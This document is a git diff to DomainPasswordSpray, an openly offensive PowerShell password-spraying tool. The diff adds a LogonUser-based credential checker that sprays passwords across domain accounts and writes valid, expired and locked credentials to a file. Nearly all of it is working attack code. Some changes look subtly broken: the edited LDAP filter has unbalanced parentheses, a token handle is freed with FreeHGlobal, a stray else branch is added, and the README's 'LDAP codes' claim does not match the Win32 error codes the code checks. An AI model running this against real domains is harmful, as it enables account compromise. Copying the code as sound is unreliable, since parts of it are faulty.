diff --git a/DomainPasswordSpray.ps1 b/DomainPasswordSpray.ps1 index 596768c..ba58450 100644 --- a/DomainPasswordSpray.ps1 +++ b/DomainPasswordSpray.ps1 @@ -171,6 +171,7 @@ function Invoke-DomainPasswordSpray{ if ($UserList -eq "") { $UserListArray = Get-DomainUserList -Domain $Domain -RemoveDisabled -RemovePotentialLockouts -Filter $Filter + } else { @@ -430,7 +431,7 @@ function Get-DomainUserList # uac 0x10 is LOCKOUT # See http://jackstromberg.com/2013/01/useraccountcontrol-attributeflag-values/ $UserSearcher.filter = - "(&(objectCategory=person)(objectClass=user)(!userAccountControl:1.2.840.113556.1.4.803:=16)(!userAccountControl:1.2.840.113556.1.4.803:=2)$Filter)" + "(&(objectCategory=person)(objectClass=user)(!(userAccountControl:1.2.840.113556.1.4.803:=16)(!userAccountControl:1.2.840.113556.1.4.803:=2)$Filter)" } else { @@ -497,6 +498,65 @@ function Get-DomainUserList return $UserListArray } +Add-Type -TypeDefinition @" +using System; +using System.Runtime.InteropServices; + +public class LogonUtil { + [DllImport("advapi32.dll", SetLastError = true, CharSet = CharSet.Unicode)] + public static extern bool LogonUser( + string lpszUsername, + string lpszDomain, + string lpszPassword, + int dwLogonType, + int dwLogonProvider, + out IntPtr phToken + ); +} +"@ -ErrorAction Stop + +function Test-KerberosCredential { + param ( + [string]$Username, + [string]$Password, + [string]$Domain = $env:USERDOMAIN + ) + + $tokenHandle = [IntPtr]::Zero + $LogonType = 2 # Interactive + $LogonProvider = 2 # Use default (Kerberos if joined to domain) + + $success = [LogonUtil]::LogonUser($Username, $Domain, $Password, $LogonType, $LogonProvider, [ref]$tokenHandle) + + if ($success) { + [System.Runtime.InteropServices.Marshal]::FreeHGlobal($tokenHandle) + return [pscustomobject]@{ + Username = $Username + Password = $Password + Domain = $Domain + Status = "VALID" + } + } else { + $errorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() + $status = switch ($errorCode) { + 1326 { "INVALID PASSWORD" } + 1327 { "USER NOT FOUND" } + 1328 { "INVALID LOGON HOURS" } + 1329 { "INVALID WORKSTATION" } + 1330 { "PASSWORD EXPIRED"} + 1907 { "PASSWORD MUST CHANGE" } + 1909 { "ACCOUNT LOCKED" } + default { "ERROR $errorCode" } + } + return [pscustomobject]@{ + Username = $Username + Password = $Password + Domain = $Domain + Status = $status + } + } +} + function Invoke-SpraySinglePassword { param( @@ -528,38 +588,82 @@ function Invoke-SpraySinglePassword $count = $UserListArray.count Write-Host "[*] Now trying password $Password against $count users. Current time is $($time.ToShortTimeString())" $curr_user = 0 - if ($OutFile -ne ""-and -not $Quiet) - { - Write-Host -ForegroundColor Yellow "[*] Writing successes to $OutFile" + + if ($OutFile -ne "" -and -not $Quiet) { + Write-Host -ForegroundColor Yellow "[*] Writing successes to $OutFile" } + $RandNo = New-Object System.Random - foreach ($User in $UserListArray) - { - if ($UsernameAsPassword) - { + foreach ($User in $UserListArray) { + if ($UsernameAsPassword) { $Password = $User } - $Domain_check = New-Object System.DirectoryServices.DirectoryEntry($Domain,$User,$Password) - if ($Domain_check.name -ne $null) - { - if ($OutFile -ne "") - { - Add-Content $OutFile $User`:$Password + + $dnsDomain = ($Domain -split ",DC=" -replace "LDAP://|DC=" | Where-Object { $_ }) -join '.' + $result = Test-KerberosCredential -Username $User -Password $Password -Domain $dnsDomain + + if ($result.status -ne $null) { + switch ($result.Status) { + "VALID" { + Write-Host -ForegroundColor Green "[+] VALID: $($result.Domain)\$($result.Username):$($result.Password)" + if ($OutFile -ne "") { + Add-Content $OutFile "$($result.Username):$($result.Password)" + } + } + + "PASSWORD EXPIRED" { + Write-Host -ForegroundColor Cyan "[!] PASSWORD EXPIRED: $($result.Domain)\$($result.Username):$($result.Password)" + if ($OutFile -ne "") { + Add-Content $OutFile "$($result.Username):$($result.Password) # PASSWORD EXPIRED" + } + } + + "PASSWORD MUST CHANGE" { + Write-Host -ForegroundColor Cyan "[!] PASSWORD MUST CHANGE: $($result.Domain)\$($result.Username):$($result.Password)" + if ($OutFile -ne "") { + Add-Content $OutFile "$($result.Username):$($result.Password) # PASSWORD MUST CHANGE" + } + } + + "INVALID LOGON HOURS" { + Write-Host -ForegroundColor Cyan "[!] INVALID LOGON HOURS: $($result.Domain)\$($result.Username):$($result.Password)" + if ($OutFile -ne "") { + Add-Content $OutFile "$($result.Username):$($result.Password) # INVALID LOGON HOURS" + } + } + + "INVALID WORKSTATION" { + Write-Host -ForegroundColor Cyan "[!] INVALID WORKSTATION: $($result.Domain)\$($result.Username):$($result.Password)" + if ($OutFile -ne "") { + Add-Content $OutFile "$($result.Username):$($result.Password) # INVALID WORKSTATION" + } + } + + "ACCOUNT LOCKED" { + Write-Host -ForegroundColor Red "[!] ACCOUNT LOCKED: $($result.Domain)\$($result.Username):$($result.Password)" + if ($OutFile -ne "") { + Add-Content $OutFile "$($result.Username):$($result.Password) # ACCOUNT LOCKED" + } + } + + default { + if (-not $Quiet) { + Write-Host "[-] $($result.Status): $($result.Domain)\$($result.Username)" + } + } } - Write-Host -ForegroundColor Green "[*] SUCCESS! User:$User Password:$Password" } + $curr_user += 1 - if (-not $Quiet) - { - Write-Host -nonewline "$curr_user of $count users tested`r" + if (-not $Quiet) { + Write-Host -NoNewline "$curr_user of $count users tested`r" } - if ($Delay) - { - Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay) + + if ($Delay) { + Start-Sleep -Seconds $RandNo.Next((1 - $Jitter) * $Delay, (1 + $Jitter) * $Delay) } } - } function Get-ObservationWindow($DomainEntry) diff --git a/README.md b/README.md index 700c757..312ad67 100644 --- a/README.md +++ b/README.md @@ -1,4 +1,7 @@ # DomainPasswordSpray + +UPDATE: This version now validates credentials based on LDAP codes allowing you to find expired passwords and others. + DomainPasswordSpray is a tool written in PowerShell to perform a password spray attack against users of a domain. By default it will automatically generate the userlist from the domain. BE VERY CAREFUL NOT TO LOCKOUT ACCOUNTS! ## Quick Start Guide